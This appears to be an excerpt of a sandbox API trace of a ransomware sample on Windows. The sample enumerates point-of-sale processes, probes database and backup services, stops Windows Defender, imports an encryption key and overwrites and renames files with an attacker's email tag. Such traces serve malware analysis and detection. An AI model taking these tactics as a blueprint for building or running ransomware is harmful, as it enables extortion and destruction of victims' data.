[0030.715] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
[0030.716] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
[0030.717] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
[0030.717] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
[0030.718] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
[0030.719] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
[0030.719] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
[0030.720] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
[0030.721] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
[0030.722] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
[0030.722] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
[0030.723] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
[0030.723] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
[0030.724] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
[0030.725] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
[0030.725] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="armstrongdiseaseshands.exe")) returned 1
[0030.726] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
[0030.726] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
[0030.727] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
[0030.728] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
[0030.728] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ooolbx.exe")) returned 1
[0030.729] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
[0030.729] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
[0030.730] CloseHandle (hObject=0xb4) returned 1
[0030.730] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2fdbc8
[0031.664] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="MSSQLServerADHelper100", dwDesiredAccess=0x20) returned 0x0
[0031.664] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="MSSQL$ISARS", dwDesiredAccess=0x20) returned 0x0
[0031.664] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="MSSQL$MSFW", dwDesiredAccess=0x20) returned 0x0
[0031.665] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="SQLAgent$ISARS", dwDesiredAccess=0x20) returned 0x0
[0031.665] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="SQLAgent$MSFW", dwDesiredAccess=0x20) returned 0x0
[0031.665] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="MSExchangeFBA", dwDesiredAccess=0x20) returned 0x0
[0031.665] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="QuickBooksDB1", dwDesiredAccess=0x20) returned 0x0
[0031.666] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="QuickBooksDB2", dwDesiredAccess=0x20) returned 0x0
[0031.666] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="QuickBooksDB3", dwDesiredAccess=0x20) returned 0x0
[0031.666] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="QuickBooksDB4", dwDesiredAccess=0x20) returned 0x0
[0031.666] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="QuickBooksDB5", dwDesiredAccess=0x20) returned 0x0
[0031.666] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="QuickBooksDB6", dwDesiredAccess=0x20) returned 0x0
[0031.667] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="QuickBooksDB7", dwDesiredAccess=0x20) returned 0x0
[0031.667] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="QuickBooksDB8", dwDesiredAccess=0x20) returned 0x0
[0031.667] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="QuickBooksDB9", dwDesiredAccess=0x20) returned 0x0
[0031.667] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="QuickBooksDB10", dwDesiredAccess=0x20) returned 0x0
[0031.667] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="QuickBooksDB11", dwDesiredAccess=0x20) returned 0x0
[0031.668] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="QuickBooksDB12", dwDesiredAccess=0x20) returned 0x0
[0031.668] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="QuickBooksDB13", dwDesiredAccess=0x20) returned 0x0
[0031.668] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="QuickBooksDB14", dwDesiredAccess=0x20) returned 0x0
[0031.668] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="QuickBooksDB15", dwDesiredAccess=0x20) returned 0x0
[0031.668] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="QuickBooksDB16", dwDesiredAccess=0x20) returned 0x0
[0031.669] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="QuickBooksDB17", dwDesiredAccess=0x20) returned 0x0
[0031.669] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="QuickBooksDB18", dwDesiredAccess=0x20) returned 0x0
[0031.669] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="QuickBooksDB19", dwDesiredAccess=0x20) returned 0x0
[0031.669] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="QuickBooksDB20", dwDesiredAccess=0x20) returned 0x0
[0031.669] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="QuickBooksDB21", dwDesiredAccess=0x20) returned 0x0
[0031.670] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="QuickBooksDB22", dwDesiredAccess=0x20) returned 0x0
[0031.670] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="QuickBooksDB23", dwDesiredAccess=0x20) returned 0x0
[0031.670] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="QuickBooksDB24", dwDesiredAccess=0x20) returned 0x0
[0031.670] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="QuickBooksDB25", dwDesiredAccess=0x20) returned 0x0
[0031.670] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="IBM Domino Diagnostics (CProgramFilesIBMDomino)", dwDesiredAccess=0x20) returned 0x0
[0031.671] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="MSExchangeIS", dwDesiredAccess=0x20) returned 0x0
[0031.671] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="MSExchangeSA", dwDesiredAccess=0x20) returned 0x0
[0031.671] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="IBM Domino Server (CProgramFilesIBMDominodata)", dwDesiredAccess=0x20) returned 0x0
[0031.671] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="IISADMIN", dwDesiredAccess=0x20) returned 0x0
[0031.671] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="SQLBrowser", dwDesiredAccess=0x20) returned 0x0
[0031.672] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="ReportServer$ISARS", dwDesiredAccess=0x20) returned 0x0
[0031.672] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="SQLWriter", dwDesiredAccess=0x20) returned 0x0
[0031.672] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="MSExchangeADTopology", dwDesiredAccess=0x20) returned 0x0
[0031.672] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="WinDefend", dwDesiredAccess=0x20) returned 0x2fdb28
[0031.673] ControlService (in: hService=0x2fdb28, dwControl=0x1, lpServiceStatus=0x2cfb4c | out: lpServiceStatus=0x2cfb4c*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x85, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1
[0031.688] CloseServiceHandle (hSCObject=0x2fdb28) returned 1
[0031.688] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="mr2kserv", dwDesiredAccess=0x20) returned 0x0
[0031.688] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="QBVSS", dwDesiredAccess=0x20) returned 0x0
[0031.688] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="QBCFMonitorService", dwDesiredAccess=0x20) returned 0x0
[0031.689] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="QBPOSDBServiceV12", dwDesiredAccess=0x20) returned 0x0
[0031.689] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="ibmiasrw", dwDesiredAccess=0x20) returned 0x0
[0031.689] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="Simply Accounting Database Connection Manager", dwDesiredAccess=0x20) returned 0x0
[0031.689] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="firebirdguardiandefaultinstance", dwDesiredAccess=0x20) returned 0x0
[0031.689] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="SPSearch4", dwDesiredAccess=0x20) returned 0x0
[0031.689] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="SPWriterV4", dwDesiredAccess=0x20) returned 0x0
[0031.689] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="SPUserCodeV4", dwDesiredAccess=0x20) returned 0x0
[0031.690] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="SPTraceV4", dwDesiredAccess=0x20) returned 0x0
[0031.690] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="SPTimerV4", dwDesiredAccess=0x20) returned 0x0
[0031.690] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="SPAdminV4", dwDesiredAccess=0x20) returned 0x0
[0031.691] OpenServiceW (hSCManager=0x2fdbc8, lpServiceName="ShadowProtectSvc", dwDesiredAccess=0x20) returned 0x0
[0031.691] CloseServiceHandle (hSCObject=0x2fdbc8) returned 1
[0031.721] GetTickCount () returned 0x11531da
[0031.721] GetTickCount () returned 0x11531da
[0031.721] GetTickCount () returned 0x11531da
[0031.721] GetTickCount () returned 0x11531da
[0031.722] GetTickCount () returned 0x11531da
[0031.722] GetTickCount () returned 0x11531da
[0031.722] GetTickCount () returned 0x11531da
[0031.722] GetTickCount () returned 0x11531da
[0031.722] CryptImportKey (in: hProv=0x2fe7c8, pbData=0x2fe2b0, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x2cfb68 | out: phKey=0x2cfb68*=0x300570) returned 1
[0031.723] CryptEncrypt (in: hKey=0x300570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1368ef0*, pdwDataLen=0x2cfb60*=0x20, dwBufLen=0x100 | out: pbData=0x1368ef0*, pdwDataLen=0x2cfb60*=0x100) returned 1
[0031.724] CryptDestroyKey (hKey=0x300570) returned 1
[0031.724] CryptReleaseContext (hProv=0x2fe7c8, dwFlags=0x0) returned 1
[0031.724] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1369220 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x0
[0031.725] GetLogicalDrives () returned 0x4
[0031.725] wnsprintfW (in: pszDest=0x2cfb1c, cchDest=25, pszFmt="%c:\\" | out: pszDest="C:\\") returned 3
[0031.725] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
[0031.725] GetProcessHeap () returned 0x2e0000
[0031.725] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x208) returned 0x303320
[0031.725] wnsprintfW (in: pszDest=0x303320, cchDest=260, pszFmt="\\\\?\\%c:" | out: pszDest="\\\\?\\C:") returned 6
[0031.725] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1361d9c, lpParameter=0x303320, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc
[0031.726] WaitForMultipleObjects (nCount=0x1, lpHandles=0x2cfb50*=0xfc, bWaitAll=1, dwMilliseconds=0xffffffff)
Thread:
id = 3
os_tid = 0x4f4
Thread:
id = 4
os_tid = 0xa78
[0031.737] GetProcessHeap () returned 0x2e0000
[0031.737] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x303740
[0031.738] wnsprintfW (in: pszDest=0x303740, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\*") returned 8
[0031.738] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0xecf8e4 | out: lpFindFileData=0xecf8e4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x2fee80
[0031.738] FindNextFileW (in: hFindFile=0x2fee80, lpFindFileData=0xecf8e4 | out: lpFindFileData=0xecf8e4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
[0031.738] wnsprintfW (in: pszDest=0x303740, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot") returned 11
[0031.738] GetProcessHeap () returned 0x2e0000
[0031.738] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x314750
[0031.739] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\*") returned 13
[0031.739] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2feec0
[0031.739] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\.") returned 13
[0031.739] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0031.739] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\." (normalized: "c:\\boot\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0031.739] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0031.739] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\..") returned 14
[0031.740] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0031.740] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\.." (normalized: "c:"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0031.740] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1
[0031.740] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\BCD") returned 15
[0031.740] StrStrIW (lpFirst="BCD", lpSrch="SDfghjkl") returned 0x0
[0031.740] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0031.740] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1
[0031.740] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\BCD.LOG") returned 19
[0031.740] StrStrIW (lpFirst="BCD.LOG", lpSrch="SDfghjkl") returned 0x0
[0031.740] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0031.740] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1
[0031.740] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\BCD.LOG1") returned 20
[0031.740] StrStrIW (lpFirst="BCD.LOG1", lpSrch="SDfghjkl") returned 0x0
[0031.740] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
[0031.741] GetProcessHeap () returned 0x2e0000
[0031.741] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x325760
[0031.741] ReadFile (in: hFile=0x104, lpBuffer=0x325760, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf630, lpOverlapped=0x0 | out: lpBuffer=0x325760*, lpNumberOfBytesRead=0xecf630*=0x0, lpOverlapped=0x0) returned 1
[0031.741] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0031.741] WriteFile (in: hFile=0x104, lpBuffer=0x325760*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0xecf630, lpOverlapped=0x0 | out: lpBuffer=0x325760*, lpNumberOfBytesWritten=0xecf630*=0x0, lpOverlapped=0x0) returned 1
[0031.741] GetProcessHeap () returned 0x2e0000
[0031.741] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x325760 | out: hHeap=0x2e0000) returned 1
[0031.741] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0031.741] WriteFile (in: hFile=0x104, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf630, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf630*=0x100, lpOverlapped=0x0) returned 1
[0031.742] CloseHandle (hObject=0x104) returned 1
[0031.743] GetProcessHeap () returned 0x2e0000
[0031.743] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x325760
[0031.744] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\Boot\\BCD.LOG1_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 62
[0031.744] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), lpNewFileName="\\\\?\\C:\\Boot\\BCD.LOG1_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\boot\\bcd.log1_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0031.745] GetProcessHeap () returned 0x2e0000
[0031.745] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x325760 | out: hHeap=0x2e0000) returned 1
[0031.745] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1
[0031.745] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\BCD.LOG2") returned 20
